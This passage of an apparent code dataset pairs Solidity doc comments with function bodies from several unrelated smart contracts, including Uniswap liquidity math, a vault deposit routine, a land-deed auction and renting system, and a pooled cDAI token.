+/- tickSpacing does not overflow or underflow int24", "function_code": "function ceil(int24 tick, int24 tickSpacing) internal pure returns (int24) {\n int24 mod = tick % tickSpacing;\n\n unchecked {\n if (mod > 0) return tick - mod + tickSpacing;\n return tick - mod;\n }\n }", "version": "0.8.10"} {"comment": "/// @notice Computes the amount of token0 for a given amount of liquidity and a price range\n/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary\n/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary\n/// @param liquidity The liquidity being valued\n/// @return amount0 The amount of token0. Will fit in a uint224 if you need it to", "function_code": "function getAmount0ForLiquidity(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n uint128 liquidity\n ) internal pure returns (uint256 amount0) {\n if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);\n\n amount0 =\n FullMath.mulDiv(\n uint256(liquidity) << FixedPoint96.RESOLUTION,\n sqrtRatioBX96 - sqrtRatioAX96,\n sqrtRatioBX96\n ) /\n sqrtRatioAX96;\n }", "version": "0.8.10"} {"comment": "/// @dev Withdraws all liquidity and collects all fees", "function_code": "function withdraw(Position memory position, uint128 liquidity)\n internal\n returns (\n uint256 burned0,\n uint256 burned1,\n uint256 earned0,\n uint256 earned1\n )\n {\n if (liquidity != 0) {\n (burned0, burned1) = position.pool.burn(position.lower, position.upper, liquidity);\n }\n\n // Collect all owed tokens including earned fees\n (uint256 collected0, uint256 collected1) = position.pool.collect(\n address(this),\n position.lower,\n position.upper,\n type(uint128).max,\n type(uint128).max\n );\n\n unchecked {\n earned0 = collected0 - burned0;\n earned1 = collected1 - burned1;\n }\n }", "version": "0.8.10"} {"comment": "/**\n * @notice Amounts of TOKEN0 and TOKEN1 held in vault's position. Includes\n * owed fees, except those accrued since last poke.\n */", "function_code": "function collectableAmountsAsOfLastPoke(Position memory position, uint160 sqrtPriceX96)\n internal\n view\n returns (\n uint256,\n uint256,\n uint128\n )\n {\n if (position.lower == position.upper) return (0, 0, 0);\n\n (uint128 liquidity, , , uint128 earnable0, uint128 earnable1) = info(position);\n (uint256 burnable0, uint256 burnable1) = amountsForLiquidity(position, sqrtPriceX96, liquidity);\n\n return (burnable0 + earnable0, burnable1 + earnable1, liquidity);\n }", "version": "0.8.10"} {"comment": "/// @inheritdoc IAloeBlendActions", "function_code": "function deposit(\n uint256 amount0Max,\n uint256 amount1Max,\n uint256 amount0Min,\n uint256 amount1Min\n )\n external\n returns (\n uint256 shares,\n uint256 amount0,\n uint256 amount1\n )\n {\n require(amount0Max != 0 || amount1Max != 0, \"Aloe: 0 deposit\");\n // Reentrancy guard is embedded in `_loadPackedSlot` to save gas\n (Uniswap.Position memory primary, Uniswap.Position memory limit, , , ) = _loadPackedSlot();\n packedSlot.locked = true;\n\n // Poke all assets\n primary.poke();\n limit.poke();\n silo0.delegate_poke();\n silo1.delegate_poke();\n\n (uint160 sqrtPriceX96, , , , , , ) = UNI_POOL.slot0();\n (uint256 inventory0, uint256 inventory1, ) = _getInventory(primary, limit, sqrtPriceX96, true);\n (shares, amount0, amount1) = _computeLPShares(\n totalSupply,\n inventory0,\n inventory1,\n amount0Max,\n amount1Max,\n sqrtPriceX96\n );\n require(shares != 0, \"Aloe: 0 shares\");\n require(amount0 >= amount0Min, \"Aloe: amount0 too low\");\n require(amount1 >= amount1Min, \"Aloe: amount1 too low\");\n\n // Pull in tokens from sender\n TOKEN0.safeTransferFrom(msg.sender, address(this), amount0);\n TOKEN1.safeTransferFrom(msg.sender, address(this), amount1);\n\n // Mint shares\n _mint(msg.sender, shares);\n emit Deposit(msg.sender, shares, amount0, amount1);\n packedSlot.locked = false;\n }", "version": "0.8.10"} {"comment": "/**\n * @notice Attempts to withdraw `_amount` from silo0. If `_amount` is more than what's available, withdraw the\n * maximum amount.\n * @dev This reads and writes from/to `maintenanceBudget0`, so use sparingly\n * @param _amount The desired amount of token0 to withdraw from silo0\n * @return uint256 The actual amount of token0 that was withdrawn\n */", "function_code": "function _silo0Withdraw(uint256 _amount) private returns (uint256) {\n unchecked {\n uint256 a = silo0Basis;\n uint256 b = silo0.balanceOf(address(this));\n a = b > a ? (b - a) / MAINTENANCE_FEE : 0; // interest / MAINTENANCE_FEE\n\n if (_amount > b - a) _amount = b - a;\n\n silo0.delegate_withdraw(a + _amount);\n maintenanceBudget0 += a;\n silo0Basis = b - a - _amount;\n\n return _amount;\n }\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Assumes that `_gasPrice` represents the fair value of 1e4 units of gas, denominated in `_token`.\n * Updates the contract's gas price oracle accordingly, including incrementing the array index.\n * @param _token The ERC20 token for which average gas price should be updated\n * @param _gasPrice The amount of `_token` necessary to incentivize expenditure of 1e4 units of gas\n */", "function_code": "function _pushGasPrice(address _token, uint256 _gasPrice) private {\n uint256[14] storage array = gasPriceArrays[_token];\n uint8 idx = gasPriceIdxs[_token];\n unchecked {\n // New entry cannot be lower than 90% of the previous average\n uint256 average = gasPrices[_token];\n uint256 minimum = average - average / D;\n if (_gasPrice < minimum) _gasPrice = minimum;\n\n _gasPrice /= 14;\n gasPrices[_token] = average + _gasPrice - array[idx];\n array[idx] = _gasPrice;\n gasPriceIdxs[_token] = (idx + 1) % 14;\n }\n }", "version": "0.8.10"} {"comment": "/// @dev Unpacks `packedSlot` from storage, ensuring that `_packedSlot.locked == false`", "function_code": "function _loadPackedSlot()\n private\n view\n returns (\n Uniswap.Position memory,\n Uniswap.Position memory,\n uint48,\n uint32,\n bool\n )\n {\n PackedSlot memory _packedSlot = packedSlot;\n require(!_packedSlot.locked);\n return (\n Uniswap.Position(UNI_POOL, _packedSlot.primaryLower, _packedSlot.primaryUpper),\n Uniswap.Position(UNI_POOL, _packedSlot.limitLower, _packedSlot.limitUpper),\n _packedSlot.recenterTimestamp,\n _packedSlot.maxRebalanceGas,\n _packedSlot.maintenanceIsSustainable\n );\n }", "version": "0.8.10"} {"comment": "/// @inheritdoc IAloeBlendDerivedState", "function_code": "function getInventory() external view returns (uint256 inventory0, uint256 inventory1) {\n (Uniswap.Position memory primary, Uniswap.Position memory limit, , , ) = _loadPackedSlot();\n (uint160 sqrtPriceX96, , , , , , ) = UNI_POOL.slot0();\n (inventory0, inventory1, ) = _getInventory(primary, limit, sqrtPriceX96, false);\n }", "version": "0.8.10"} {"comment": "/// @dev Computes position width based on volatility. Doesn't revert", "function_code": "function _computeNextPositionWidth(uint256 _sigma) internal pure returns (int24) {\n if (_sigma <= 9.9491783619e15) return MIN_WIDTH; // \\frac{1e18}{B} (1 - \\frac{1}{1.0001^(MIN_WIDTH / 2)})\n if (_sigma >= 3.7500454036e17) return MAX_WIDTH; // \\frac{1e18}{B} (1 - \\frac{1}{1.0001^(MAX_WIDTH / 2)})\n _sigma *= B; // scale by a constant factor to increase confidence\n\n unchecked {\n uint160 ratio = uint160((Q96 * 1e18) / (1e18 - _sigma));\n return TickMath.getTickAtSqrtRatio(ratio);\n }\n }", "version": "0.8.10"} {"comment": "/// @dev Computes amounts that should be placed in primary Uniswap position to maintain 50/50 inventory ratio.\n/// Doesn't revert as long as MIN_WIDTH <= _halfWidth * 2 <= MAX_WIDTH", "function_code": "function _computeMagicAmounts(\n uint256 _inventory0,\n uint256 _inventory1,\n int24 _halfWidth\n ) internal pure returns (uint256 amount0, uint256 amount1) {\n // the fraction of total inventory (X96) that should be put into primary Uniswap order to mimic Uniswap v2\n uint96 magic = uint96(Q96 - TickMath.getSqrtRatioAtTick(-_halfWidth));\n amount0 = FullMath.mulDiv(_inventory0, magic, Q96);\n amount1 = FullMath.mulDiv(_inventory1, magic, Q96);\n }", "version": "0.8.10"} {"comment": "/*function changePartnerShare(address partner, uint new_share) public onlyOwner {\r\n if\r\n ownerAddresses[partner] = new_share;\r\n ownerAddresses[owner]=\r\n }*/", "function_code": "function destroy() onlyOwner public {\r\n // Transfer tokens back to owner\r\n uint256 balance = token.balanceOf(this);\r\n assert(balance > 0);\r\n token.transfer(owner, balance);\r\n\r\n // There should be no ether in the contract but just in case\r\n selfdestruct(owner);\r\n }", "version": "0.4.22"} {"comment": "// change owner to 0x0 to lock this function", "function_code": "function editTokenProperties(string _name, string _symbol, int256 extraSupplay) onlyOwner public {\r\n name = _name;\r\n symbol = _symbol;\r\n if (extraSupplay > 0)\r\n {\r\n balanceOf[owner] = balanceOf[owner].add(uint256(extraSupplay));\r\n totalSupply = totalSupply.add(uint256(extraSupplay));\r\n emit Transfer(address(0x0), owner, uint256(extraSupplay));\r\n }\r\n else if (extraSupplay < 0)\r\n {\r\n balanceOf[owner] = balanceOf[owner].sub(uint256(extraSupplay * -1));\r\n totalSupply = totalSupply.sub(uint256(extraSupplay * -1));\r\n emit Transfer(owner, address(0x0), uint256(extraSupplay * -1));\r\n }\r\n }", "version": "0.4.24"} {"comment": "// get the tokens that we supports", "function_code": "function getSupportedTokenAddresses() public view returns (address[] memory){\r\n address[] memory supportedTokenAddresses = new address[](supportedTokensCount);\r\n uint16 count = 0;\r\n for ( uint256 i = 0 ; i < tokenAddresses.length ; i ++ ){\r\n if (supportedTokens[tokenAddresses[i]]) {\r\n supportedTokenAddresses[count] = tokenAddresses[i];\r\n count = count + 1;\r\n }\r\n }\r\n return supportedTokenAddresses;\r\n }", "version": "0.8.7"} {"comment": "/* Sushi IRewarder overrides */", "function_code": "function onSushiReward(\n uint256 _pid,\n address _user,\n address _to,\n uint256,\n uint256 _lpToken\n ) external override onlyMCV2 {\n PoolInfo memory pool = updatePool(_pid);\n UserInfo storage user = userInfo[_pid][_user];\n uint256 pending;\n if (user.amount > 0) {\n pending = (user.amount.mul(pool.accSushiPerShare) /\n ACC_TOKEN_PRECISION)\n .sub(user.rewardDebt);\n rewardToken.safeTransfer(_to, pending);\n }\n user.amount = _lpToken;\n user.rewardDebt =\n _lpToken.mul(pool.accSushiPerShare) /\n ACC_TOKEN_PRECISION;\n emit RewardClaimed(_user, _pid, pending, _to);\n }", "version": "0.6.12"} {"comment": "/// @dev Assigns ownership of a specific deed to an address.\n/// @param _from The address to transfer the deed from.\n/// @param _to The address to transfer the deed to.\n/// @param _deedId The identifier of the deed to transfer.", "function_code": "function _transfer(address _from, address _to, uint256 _deedId) internal {\r\n // The number of plots is capped at 2^16 * 2^16, so this cannot\r\n // be overflowed.\r\n ownershipDeedCount[_to]++;\r\n \r\n // Transfer ownership.\r\n identifierToOwner[_deedId] = _to;\r\n \r\n // When a new deed is minted, the _from address is 0x0, but we\r\n // do not track deed ownership of 0x0.\r\n if (_from != address(0)) {\r\n ownershipDeedCount[_from]--;\r\n \r\n // Clear taking ownership approval.\r\n delete identifierToApproved[_deedId];\r\n }\r\n \r\n // Emit the transfer event.\r\n Transfer(_from, _to, _deedId);\r\n }", "version": "0.4.18"} {"comment": "/// @notice Approve a given address to take ownership of multiple deeds.\n/// @param _to The address to approve taking ownership.\n/// @param _deedIds The identifiers of the deeds to give approval for.", "function_code": "function approveMultiple(address _to, uint256[] _deedIds) public whenNotPaused {\r\n // Ensure the sender is not approving themselves.\r\n require(msg.sender != _to);\r\n \r\n for (uint256 i = 0; i < _deedIds.length; i++) {\r\n uint256 _deedId = _deedIds[i];\r\n \r\n // Require the sender is the owner of the deed.\r\n require(_owns(msg.sender, _deedId));\r\n \r\n // Perform the approval.\r\n _approve(msg.sender, _to, _deedId);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @notice Transfers multiple deeds to another address. If transferring to\n/// a smart contract be VERY CAREFUL to ensure that it is aware of ERC-721,\n/// or your deeds may be lost forever.\n/// @param _to The address of the recipient, can be a user or contract.\n/// @param _deedIds The identifiers of the deeds to transfer.", "function_code": "function transferMultiple(address _to, uint256[] _deedIds) public whenNotPaused {\r\n // Safety check to prevent against an unexpected 0x0 default.\r\n require(_to != address(0));\r\n \r\n // Disallow transfers to this contract to prevent accidental misuse.\r\n require(_to != address(this));\r\n \r\n for (uint256 i = 0; i < _deedIds.length; i++) {\r\n uint256 _deedId = _deedIds[i];\r\n \r\n // One can only transfer their own plots.\r\n require(_owns(msg.sender, _deedId));\r\n\r\n // Transfer ownership\r\n _transfer(msg.sender, _to, _deedId);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @notice Transfer multiple deeds owned by another address, for which the\n/// calling address has previously been granted transfer approval by the owner.\n/// @param _deedIds The identifier of the deed to be transferred.", "function_code": "function takeOwnershipMultiple(uint256[] _deedIds) public whenNotPaused {\r\n for (uint256 i = 0; i < _deedIds.length; i++) {\r\n uint256 _deedId = _deedIds[i];\r\n address _from = identifierToOwner[_deedId];\r\n \r\n // Check for transfer approval\r\n require(_approvedFor(msg.sender, _deedId));\r\n\r\n // Reassign ownership (also clears pending approvals and emits Transfer event).\r\n _transfer(_from, msg.sender, _deedId);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @notice Returns a list of all deed identifiers assigned to an address.\n/// @param _owner The owner whose deeds we are interested in.\n/// @dev This method MUST NEVER be called by smart contract code. It's very\n/// expensive and is not supported in contract-to-contract calls as it returns\n/// a dynamic array (only supported for web3 calls).", "function_code": "function deedsOfOwner(address _owner) external view returns(uint256[]) {\r\n uint256 deedCount = countOfDeedsByOwner(_owner);\r\n\r\n if (deedCount == 0) {\r\n // Return an empty array.\r\n return new uint256[](0);\r\n } else {\r\n uint256[] memory result = new uint256[](deedCount);\r\n uint256 totalDeeds = countOfDeeds();\r\n uint256 resultIndex = 0;\r\n \r\n for (uint256 deedNumber = 0; deedNumber < totalDeeds; deedNumber++) {\r\n uint256 identifier = plots[deedNumber];\r\n if (identifierToOwner[identifier] == _owner) {\r\n result[resultIndex] = identifier;\r\n resultIndex++;\r\n }\r\n }\r\n\r\n return result;\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @notice Returns a deed identifier of the owner at the given index.\n/// @param _owner The address of the owner we want to get a deed for.\n/// @param _index The index of the deed we want.", "function_code": "function deedOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) {\r\n // The index should be valid.\r\n require(_index < countOfDeedsByOwner(_owner));\r\n\r\n // Loop through all plots, accounting the number of plots of the owner we've seen.\r\n uint256 seen = 0;\r\n uint256 totalDeeds = countOfDeeds();\r\n \r\n for (uint256 deedNumber = 0; deedNumber < totalDeeds; deedNumber++) {\r\n uint256 identifier = plots[deedNumber];\r\n if (identifierToOwner[identifier] == _owner) {\r\n if (seen == _index) {\r\n return identifier;\r\n }\r\n \r\n seen++;\r\n }\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @notice Returns an (off-chain) metadata url for the given deed.\n/// @param _deedId The identifier of the deed to get the metadata\n/// url for.\n/// @dev Implementation of optional ERC-721 functionality.", "function_code": "function deedUri(uint256 _deedId) external pure returns (string uri) {\r\n require(validIdentifier(_deedId));\r\n \r\n var (x, y) = identifierToCoordinate(_deedId);\r\n \r\n // Maximum coordinate length in decimals is 5 (65535)\r\n uri = \"https://dworld.io/plot/xxxxx/xxxxx\";\r\n bytes memory _uri = bytes(uri);\r\n \r\n for (uint256 i = 0; i < 5; i++) {\r\n _uri[27 - i] = byte(48 + (x / 10 ** i) % 10);\r\n _uri[33 - i] = byte(48 + (y / 10 ** i) % 10);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @dev Rent out a deed to an address.\n/// @param _to The address to rent the deed out to.\n/// @param _rentPeriod The rent period in seconds.\n/// @param _deedId The identifier of the deed to rent out.", "function_code": "function _rentOut(address _to, uint256 _rentPeriod, uint256 _deedId) internal {\r\n // Set the renter and rent period end timestamp\r\n uint256 rentPeriodEndTimestamp = now.add(_rentPeriod);\r\n identifierToRenter[_deedId] = _to;\r\n identifierToRentPeriodEndTimestamp[_deedId] = rentPeriodEndTimestamp;\r\n \r\n Rent(_to, _deedId, rentPeriodEndTimestamp, _rentPeriod);\r\n }", "version": "0.4.18"} {"comment": "/// @notice Rents multiple plots out to another address.\n/// @param _to The address of the renter, can be a user or contract.\n/// @param _rentPeriod The rent time period in seconds.\n/// @param _deedIds The identifiers of the plots to rent out.", "function_code": "function rentOutMultiple(address _to, uint256 _rentPeriod, uint256[] _deedIds) public whenNotPaused {\r\n // Safety check to prevent against an unexpected 0x0 default.\r\n require(_to != address(0));\r\n \r\n // Disallow transfers to this contract to prevent accidental misuse.\r\n require(_to != address(this));\r\n \r\n for (uint256 i = 0; i < _deedIds.length; i++) {\r\n uint256 _deedId = _deedIds[i];\r\n \r\n require(validIdentifier(_deedId));\r\n \r\n // There should not be an active renter.\r\n require(identifierToRentPeriodEndTimestamp[_deedId] < now);\r\n \r\n // One can only rent out their own plots.\r\n require(_owns(msg.sender, _deedId));\r\n \r\n _rentOut(_to, _rentPeriod, _deedId);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @notice Returns the address of the currently assigned renter and\n/// end time of the rent period of a given plot.\n/// @param _deedId The identifier of the deed to get the renter and \n/// rent period for.", "function_code": "function renterOf(uint256 _deedId) external view returns (address _renter, uint256 _rentPeriodEndTimestamp) {\r\n require(validIdentifier(_deedId));\r\n \r\n if (identifierToRentPeriodEndTimestamp[_deedId] < now) {\r\n // There is no active renter\r\n _renter = address(0);\r\n _rentPeriodEndTimestamp = 0;\r\n } else {\r\n _renter = identifierToRenter[_deedId];\r\n _rentPeriodEndTimestamp = identifierToRentPeriodEndTimestamp[_deedId];\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @dev Calculate the current price of an auction.", "function_code": "function _currentPrice(Auction storage _auction) internal view returns (uint256) {\r\n require(now >= _auction.startedAt);\r\n \r\n uint256 secondsPassed = now - _auction.startedAt;\r\n \r\n if (secondsPassed >= _auction.duration) {\r\n return _auction.endPrice;\r\n } else {\r\n // Negative if the end price is higher than the start price!\r\n int256 totalPriceChange = int256(_auction.endPrice) - int256(_auction.startPrice);\r\n \r\n // Calculate the current price based on the total change over the entire\r\n // auction duration, and the amount of time passed since the start of the\r\n // auction.\r\n int256 currentPriceChange = totalPriceChange * int256(secondsPassed) / int256(_auction.duration);\r\n \r\n // Calculate the final price. Note this once again\r\n // is representable by a uint256, as the price can\r\n // never be negative.\r\n int256 price = int256(_auction.startPrice) + currentPriceChange;\r\n \r\n // This never throws.\r\n assert(price >= 0);\r\n \r\n return uint256(price);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @dev Calculate the fee for a given price.\n/// @param _price The price to calculate the fee for.", "function_code": "function _calculateFee(uint256 _price) internal view returns (uint256) {\r\n // _price is guaranteed to fit in a uint128 due to the createAuction entry\r\n // modifiers, so this cannot overflow.\r\n return _price * fee / 100000;\r\n }", "version": "0.4.18"} {"comment": "/// @notice Get the auction for the given deed.\n/// @param _deedId The identifier of the deed to get the auction for.\n/// @dev Throws if there is no auction for the given deed.", "function_code": "function getAuction(uint256 _deedId) external view returns (\r\n address seller,\r\n uint256 startPrice,\r\n uint256 endPrice,\r\n uint256 duration,\r\n uint256 startedAt\r\n )\r\n {\r\n Auction storage auction = identifierToAuction[_deedId];\r\n \r\n // The auction must be active\r\n require(_activeAuction(auction));\r\n \r\n return (\r\n auction.seller,\r\n auction.startPrice,\r\n auction.endPrice,\r\n auction.duration,\r\n auction.startedAt\r\n );\r\n }", "version": "0.4.18"} {"comment": "/// @notice Create an auction for a given deed.\n/// Must previously have been given approval to take ownership of the deed.\n/// @param _deedId The identifier of the deed to create an auction for.\n/// @param _startPrice The starting price of the auction.\n/// @param _endPrice The ending price of the auction.\n/// @param _duration The duration in seconds of the dynamic pricing part of the auction.", "function_code": "function createAuction(uint256 _deedId, uint256 _startPrice, uint256 _endPrice, uint256 _duration)\r\n public\r\n fitsIn128Bits(_startPrice)\r\n fitsIn128Bits(_endPrice)\r\n fitsIn64Bits(_duration)\r\n whenNotPaused\r\n {\r\n // Get the owner of the deed to be auctioned\r\n address deedOwner = deedContract.ownerOf(_deedId);\r\n \r\n // Caller must either be the deed contract or the owner of the deed\r\n // to prevent abuse.\r\n require(\r\n msg.sender == address(deedContract) ||\r\n msg.sender == deedOwner\r\n );\r\n \r\n // The duration of the auction must be at least 60 seconds.\r\n require(_duration >= 60);\r\n \r\n // Throws if placing the deed in escrow fails (the contract requires\r\n // transfer approval prior to creating the auction).\r\n _escrow(_deedId);\r\n \r\n // Auction struct\r\n Auction memory auction = Auction(\r\n deedOwner,\r\n uint128(_startPrice),\r\n uint128(_endPrice),\r\n uint64(_duration),\r\n uint64(now)\r\n );\r\n \r\n _createAuction(_deedId, auction);\r\n }", "version": "0.4.18"} {"comment": "/// @notice Cancel an auction\n/// @param _deedId The identifier of the deed to cancel the auction for.", "function_code": "function cancelAuction(uint256 _deedId) external whenNotPaused {\r\n Auction storage auction = identifierToAuction[_deedId];\r\n \r\n // The auction must be active.\r\n require(_activeAuction(auction));\r\n \r\n // The auction can only be cancelled by the seller\r\n require(msg.sender == auction.seller);\r\n \r\n _cancelAuction(_deedId, auction);\r\n }", "version": "0.4.18"} {"comment": "/// @notice Withdraw ether owed to a beneficiary.\n/// @param beneficiary The address to withdraw the auction balance for.", "function_code": "function withdrawAuctionBalance(address beneficiary) external {\r\n // The sender must either be the beneficiary or the core deed contract.\r\n require(\r\n msg.sender == beneficiary ||\r\n msg.sender == address(deedContract)\r\n );\r\n \r\n uint256 etherOwed = addressToEtherOwed[beneficiary];\r\n \r\n // Ensure ether is owed to the beneficiary.\r\n require(etherOwed > 0);\r\n \r\n // Set ether owed to 0 \r\n delete addressToEtherOwed[beneficiary];\r\n \r\n // Subtract from total outstanding balance. etherOwed is guaranteed\r\n // to be less than or equal to outstandingEther, so this cannot\r\n // underflow.\r\n outstandingEther -= etherOwed;\r\n \r\n // Transfer ether owed to the beneficiary (not susceptible to re-entry\r\n // attack, as the ether owed is set to 0 before the transfer takes place).\r\n beneficiary.transfer(etherOwed);\r\n }", "version": "0.4.18"} {"comment": "/// @notice Withdraw (unowed) contract balance.", "function_code": "function withdrawFreeBalance() external {\r\n // Calculate the free (unowed) balance. This never underflows, as\r\n // outstandingEther is guaranteed to be less than or equal to the\r\n // contract balance.\r\n uint256 freeBalance = this.balance - outstandingEther;\r\n \r\n address deedContractAddress = address(deedContract);\r\n\r\n require(\r\n msg.sender == owner ||\r\n msg.sender == deedContractAddress\r\n );\r\n \r\n deedContractAddress.transfer(freeBalance);\r\n }", "version": "0.4.18"} {"comment": "/// @notice Create an auction for a given deed. Be careful when calling\n/// createAuction for a RentAuction, that this overloaded function (including\n/// the _rentPeriod parameter) is used. Otherwise the rent period defaults to\n/// a week.\n/// Must previously have been given approval to take ownership of the deed.\n/// @param _deedId The identifier of the deed to create an auction for.\n/// @param _startPrice The starting price of the auction.\n/// @param _endPrice The ending price of the auction.\n/// @param _duration The duration in seconds of the dynamic pricing part of the auction.\n/// @param _rentPeriod The rent period in seconds being auctioned.", "function_code": "function createAuction(\r\n uint256 _deedId,\r\n uint256 _startPrice,\r\n uint256 _endPrice,\r\n uint256 _duration,\r\n uint256 _rentPeriod\r\n )\r\n external\r\n {\r\n // Require the rent period to be at least one hour.\r\n require(_rentPeriod >= 3600);\r\n \r\n // Require there to be no active renter.\r\n DWorldRenting dWorldRentingContract = DWorldRenting(deedContract);\r\n var (renter,) = dWorldRentingContract.renterOf(_deedId);\r\n require(renter == address(0));\r\n \r\n // Set the rent period.\r\n identifierToRentPeriod[_deedId] = _rentPeriod;\r\n \r\n // Throws (reverts) if creating the auction fails.\r\n createAuction(_deedId, _startPrice, _endPrice, _duration);\r\n }", "version": "0.4.18"} {"comment": "/// @dev Perform the bid win logic (in this case: give renter status to the winner).\n/// @param _seller The address of the seller.\n/// @param _winner The address of the winner.\n/// @param _deedId The identifier of the deed.\n/// @param _price The price the auction was bought at.", "function_code": "function _winBid(address _seller, address _winner, uint256 _deedId, uint256 _price) internal {\r\n DWorldRenting dWorldRentingContract = DWorldRenting(deedContract);\r\n \r\n uint256 rentPeriod = identifierToRentPeriod[_deedId];\r\n if (rentPeriod == 0) {\r\n rentPeriod = 604800; // 1 week by default\r\n }\r\n \r\n // Rent the deed out to the winner.\r\n dWorldRentingContract.rentOut(_winner, identifierToRentPeriod[_deedId], _deedId);\r\n \r\n // Transfer the deed back to the seller.\r\n _transfer(_seller, _deedId);\r\n }", "version": "0.4.18"} {"comment": "/// @notice Create a sale auction.\n/// @param _deedId The identifier of the deed to create a sale auction for.\n/// @param _startPrice The starting price of the sale auction.\n/// @param _endPrice The ending price of the sale auction.\n/// @param _duration The duration in seconds of the dynamic pricing part of the sale auction.", "function_code": "function createSaleAuction(uint256 _deedId, uint256 _startPrice, uint256 _endPrice, uint256 _duration)\r\n external\r\n whenNotPaused\r\n {\r\n require(_owns(msg.sender, _deedId));\r\n \r\n // Prevent creating a sale auction if no sale auction contract is configured.\r\n require(address(saleAuctionContract) != address(0));\r\n \r\n // Approve the deed for transferring to the sale auction.\r\n _approve(msg.sender, address(saleAuctionContract), _deedId);\r\n \r\n // Auction contract checks input values (throws if invalid) and places the deed into escrow.\r\n saleAuctionContract.createAuction(_deedId, _startPrice, _endPrice, _duration);\r\n }", "version": "0.4.18"} {"comment": "/// @notice Allow withdrawing balances from the auction contracts\n/// in a single step.", "function_code": "function withdrawAuctionBalances() external {\r\n // Withdraw from the sale contract if the sender is owed Ether.\r\n if (saleAuctionContract.addressToEtherOwed(msg.sender) > 0) {\r\n saleAuctionContract.withdrawAuctionBalance(msg.sender);\r\n }\r\n \r\n // Withdraw from the rent contract if the sender is owed Ether.\r\n if (rentAuctionContract.addressToEtherOwed(msg.sender) > 0) {\r\n rentAuctionContract.withdrawAuctionBalance(msg.sender);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @notice Set the data associated with a plot.", "function_code": "function setPlotData(uint256 _deedId, string name, string description, string imageUrl, string infoUrl)\r\n public\r\n whenNotPaused\r\n {\r\n // The sender requesting the data update should be\r\n // the owner (without an active renter) or should\r\n // be the active renter.\r\n require(_owns(msg.sender, _deedId) && identifierToRentPeriodEndTimestamp[_deedId] < now || _rents(msg.sender, _deedId));\r\n \r\n // Set the data\r\n _setPlotData(_deedId, name, description, imageUrl, infoUrl);\r\n }", "version": "0.4.18"} {"comment": "/// @notice Set the data associated with multiple plots.", "function_code": "function setPlotDataMultiple(uint256[] _deedIds, string name, string description, string imageUrl, string infoUrl)\r\n external\r\n whenNotPaused\r\n {\r\n for (uint256 i = 0; i < _deedIds.length; i++) {\r\n uint256 _deedId = _deedIds[i];\r\n \r\n setPlotData(_deedId, name, description, imageUrl, infoUrl);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\n * @dev Sets the values for `name` and `symbol`. Both of\n * these values are immutable: they can only be set once during\n * construction.\n */", "function_code": "function init(string memory name, string memory symbol, address _beneficiary) public {\n require(beneficiary == address(0), \"Already initialized\");\n\n _name = name;\n _symbol = symbol;\n\n // Set beneficiary\n require(_beneficiary != address(0), \"Beneficiary can't be zero\");\n beneficiary = _beneficiary;\n emit SetBeneficiary(address(0), _beneficiary);\n \n _transferOwnership(msg.sender);\n\n // Enter cDAI market\n Comptroller troll = Comptroller(COMPTROLLER_ADDRESS);\n address[] memory cTokens = new address[](1);\n cTokens[0] = CDAI_ADDRESS;\n uint[] memory errors = troll.enterMarkets(cTokens);\n require(errors[0] == 0, \"Failed to enter cDAI market\");\n }", "version": "0.5.11"} {"comment": "// 10B tokens", "function_code": "function mintWithETH(PooledCDAI pcDAI, address to) public payable returns (bool) {\n // convert `msg.value` ETH to DAI\n ERC20 dai = ERC20(DAI_ADDRESS);\n (uint256 actualDAIAmount, uint256 actualETHAmount) = _kyberTrade(ETH_TOKEN_ADDRESS, msg.value, dai);\n\n // mint `actualDAIAmount` pcDAI\n _mint(pcDAI, to, actualDAIAmount);\n\n // return any leftover ETH\n if (actualETHAmount < msg.value) {\n msg.sender.transfer(msg.value.sub(actualETHAmount));\n }\n\n return true;\n }", "version": "0.5.11"} {"comment": "/**\n * @notice Wrapper function for doing token conversion on Kyber Network\n * @param _srcToken the token to convert from\n * @param _srcAmount the amount of tokens to be converted\n * @param _destToken the destination token\n * @return _destPriceInSrc the price of the dest token, in terms of source tokens\n * _srcPriceInDest the price of the source token, in terms of dest tokens\n * _actualDestAmount actual amount of dest token traded\n * _actualSrcAmount actual amount of src token traded\n */", "function_code": "function _kyberTrade(ERC20 _srcToken, uint256 _srcAmount, ERC20 _destToken)\n internal\n returns(\n uint256 _actualDestAmount,\n uint256 _actualSrcAmount\n )\n {\n // Get current rate & ensure token is listed on Kyber\n KyberNetworkProxy kyber = KyberNetworkProxy(KYBER_ADDRESS);\n (, uint256 rate) = kyber.getExpectedRate(_srcToken, _destToken, _srcAmount);\n require(rate > 0, \"Price for token is 0 on Kyber\");\n\n uint256 beforeSrcBalance = _getBalance(_srcToken, address(this));\n uint256 msgValue;\n if (_srcToken != ETH_TOKEN_ADDRESS) {\n msgValue = 0;\n _srcToken.safeApprove(KYBER_ADDRESS, 0);\n _srcToken.safeApprove(KYBER_ADDRESS, _srcAmount);\n } else {\n msgValue = _srcAmount;\n }\n _actualDestAmount = kyber.tradeWithHint.value(msgValue)(\n _srcToken,\n _srcAmount,\n _destToken,\n _toPayableAddr(address(this)),\n MAX_QTY,\n rate,\n 0x8B2315243349f461045854beec3c5aFA84f600B6,\n PERM_HINT\n );\n require(_actualDestAmount > 0, \"Received 0 dest token\");\n if (_srcToken != ETH_TOKEN_ADDRESS) {\n _srcToken.safeApprove(KYBER_ADDRESS, 0);\n }\n\n _actualSrcAmount = beforeSrcBalance.sub(_getBalance(_srcToken, address(this)));\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Modify a uint256 parameter\r\n * @param parameter The parameter name\r\n * @param data The new parameter value\r\n **/", "function_code": "function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized 